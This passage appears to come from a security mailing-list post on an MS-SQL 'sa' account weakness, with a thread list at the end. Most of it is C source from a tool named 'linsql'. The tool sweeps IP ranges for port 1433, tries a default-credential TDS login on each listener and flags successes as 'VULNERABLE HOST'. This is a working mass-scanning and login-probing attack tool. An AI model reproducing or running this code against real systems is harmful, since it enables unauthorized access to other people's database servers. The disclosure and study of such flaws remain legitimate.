for(o4=octetRange[3][0];o4<=octetRange[3][1];o4++) { sprintf(ipToScan,"%i.%i.%i.%i",o1,o2,o3,o4); print_it("Scanning %s",ipToScan);fflush(stdout); if((mySock=socket(AF_INET, SOCK_STREAM, 0))==-1) { print_it("Could not grab socket\n"); exit(1); } addr.sin_family=AF_INET; addr.sin_addr.s_addr=inet_addr(ipToScan); addr.sin_port=htons(1433); unlink(STATUS_FILE); cTimeout=originalTimeout; if((childPID=fork())==0) { strncpy(givenName, "linsql probe process.....",100); if(!opt.test) if(connect(mySock, (struct sockaddr *)&addr, sizeof(addr))==0) { if((fp=fopen(STATUS_FILE,"w"))==NULL) { print_it("\nFailed to create status file\n"); exit(1); } fwrite("OK",1,2,fp); fclose(fp); print_it("Target is listening, probing...");fflush(stdout); if(probe_login(ipToScan)) { fp=fopen(STATUS_FILE,"w"); print_it("VULNERABLE HOST");fflush(stdout); fwrite("VU",1,2,fp); fclose(fp); } exit(0); } else { if((fp=fopen(STATUS_FILE,"w"))==NULL) { print_it("\nFailed to create status file\n"); exit(1); } fwrite("Failed",1,2,fp); fclose(fp); } exit(0); } else { if(!opt.test) for(i=0;i<=cTimeout;i++) { if((fp=fopen(STATUS_FILE,"r"))==NULL) sleep(1); else { if(fgets(buf,3,fp)==buf) { if(strncmp(buf, "OK", 2)==0) { if(!reset_yet) { reset_yet=1; cTimeout=pTimeout; fclose(fp); unlink(STATUS_FILE); } } else if(strncmp(buf, "VU",2)==0) { fclose(fp); goto outOfHere; } else fclose(fp); } if(!reset_yet) break; } print_it(".");fflush(stdout); } outOfHere: kill(childPID, SIGTERM); // kill the child process, leaving a zombie... wait(&status); // ...then clean up the zombie } print_it("\n"); reset_yet=0; close(mySock); } } /* * check to see if a login to the given IP would succeed */ int probe_login(char *ip) { strcpy(target.IP, ip); set_target_defaults(); if((tds = tds_connect(login))!=NULL) { tds_free_socket(tds); tds_free_login(login); return 1; } else { tds_free_login(login); return 0; } } ---------%< snip %<--------------------
Current thread:
- MS-SQL 'sa' user exploit code herbless (Aug 15)
- <Possible follow-ups>
- Re: MS-SQL 'sa' user exploit code Neil Pike (Aug 17)
- Re: MS-SQL 'sa' user exploit code Microsoft Security Response Center (Aug 18)
- Re: MS-SQL 'sa' user exploit code Jon Keeter (Aug 21)
- Re: MS-SQL 'sa' user exploit code Domas Mituzas (Aug 23)